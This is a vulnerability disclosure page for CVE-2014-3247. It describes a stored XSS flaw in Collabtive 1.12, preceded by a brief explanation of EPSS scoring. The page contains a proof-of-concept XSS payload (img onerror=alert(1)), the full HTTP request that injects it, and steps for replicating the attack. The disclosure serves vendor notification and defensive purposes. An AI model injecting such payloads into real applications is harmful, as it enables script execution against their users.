CVE-2014-3247 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Vulnerability title: Stored XSS vulnerability in Collabtive application (CVE-2014-3247) CVE: CVE-2014-3247(coordinated with cve assigning team and vendor) Vendor: Collabtive Product: Collabtive (Open Source Project Management Software) Affected version: 1.12 Fixed version: 2.0 Reported by: Deepak Rathore Severity: Critical URL: http://[domain]/collabtive-12/admin.php?action=addpro Affected Users: Authenticated users Affected parameter(s): desc Issue details: The value of the desc request parameter is copied into the HTML document as plain text between tags. The payload 1c91c<img%20src%3da %20onerror%3dalert(1) >cc245622da6 was submitted in the desc parameter. This input was echoed as 1c91c<img src=a onerror=alert(1) >cc245622da6 in the application's response. This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The proof-of-concept attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document. HTTP request: POST /collabtive-12/admin.php?action=addpro HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:28.0) Gecko/20100101 Firefox/28.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/collabtive-12/index.php?mode=login Cookie: PHPSESSID=ri2sqmga763p7qav73enfv99p5 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 75 name=test&desc=test928a4<img%20src%3da%20onerror%3dalert(1)>a480a723950&neverdue=neverdue&budget=10&assignto%5B%5D=1&assignme=1 Steps to replicate: 1. Login into application 2. Go to "Desktop" tab and click on "Add project" 3. Fill the project details in the project form and click on "Add" button 4. Intercept request by interception proxy i.e. OWASP Zap, Burp Suite etc 5. Replace "desc" parameter value with "1c91c<img%20src%3da %20onerror%3dalert(1) >cc245622da6" 6. Forward manipulated request to server and wait for response in browser 7. A popup with alert message will come that is the proof of vulnerability. Tools used: Burp Suite proxy, Mozilla Firefox browser Best Regards, Deepak
